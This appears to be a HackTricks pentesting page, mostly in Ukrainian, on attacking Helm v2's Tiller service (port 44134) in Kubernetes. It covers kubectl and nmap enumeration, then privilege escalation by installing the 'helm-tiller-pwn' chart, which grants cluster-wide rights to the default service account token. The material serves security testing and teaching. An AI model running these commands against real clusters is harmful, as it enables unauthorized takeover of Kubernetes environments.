6.3 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Основна інформація
Helm є менеджером пакетів для Kubernetes. Він дозволяє пакувати YAML файли та розповсюджувати їх у публічних і приватних репозиторіях. Ці пакети називаються Helm Charts. Tiller є сервісом, що запускається за замовчуванням на порту 44134, пропонуючи цю послугу.
Порт за замовчуванням: 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
Enumeration
Якщо ви можете перерахувати поди та/або сервіси різних просторових імен, перераховуйте їх і шукайте ті, що містять "tiller" у своїй назві:
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
Приклади:
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
Ви також можете спробувати знайти цю службу, перевіривши порт 44134:
sudo nmap -sS -p 44134 <IP>
Якщо ви його виявили, ви можете зв'язатися з ним, завантаживши клієнтський додаток helm. Ви можете використовувати інструменти, такі як homebrew
, або переглянути сторінку офіційних релізів. Для отримання додаткової інформації або інших варіантів дивіться посібник з установки.
Потім ви можете перерахувати сервіс:
helm --host tiller-deploy.kube-system:44134 version
Підвищення Привілеїв
За замовчуванням Helm2 був встановлений у просторі імен kube-system з високими привілеями, тому якщо ви знайдете сервіс і матимете до нього доступ, це може дозволити вам підвищити привілеї.
Все, що вам потрібно зробити, це встановити пакет, подібний до цього: https://github.com/Ruil1n/helm-tiller-pwn, який надасть доступ до всього в усьому кластері для токена сервісу за замовчуванням.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
В http://rui0.cn/archives/1573 ви знайдете пояснення атаки, але в основному, якщо ви прочитаєте файли clusterrole.yaml та clusterrolebinding.yaml всередині helm-tiller-pwn/pwnchart/templates/ ви зможете побачити, як всі привілеї надаються за замовчуванням токену.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.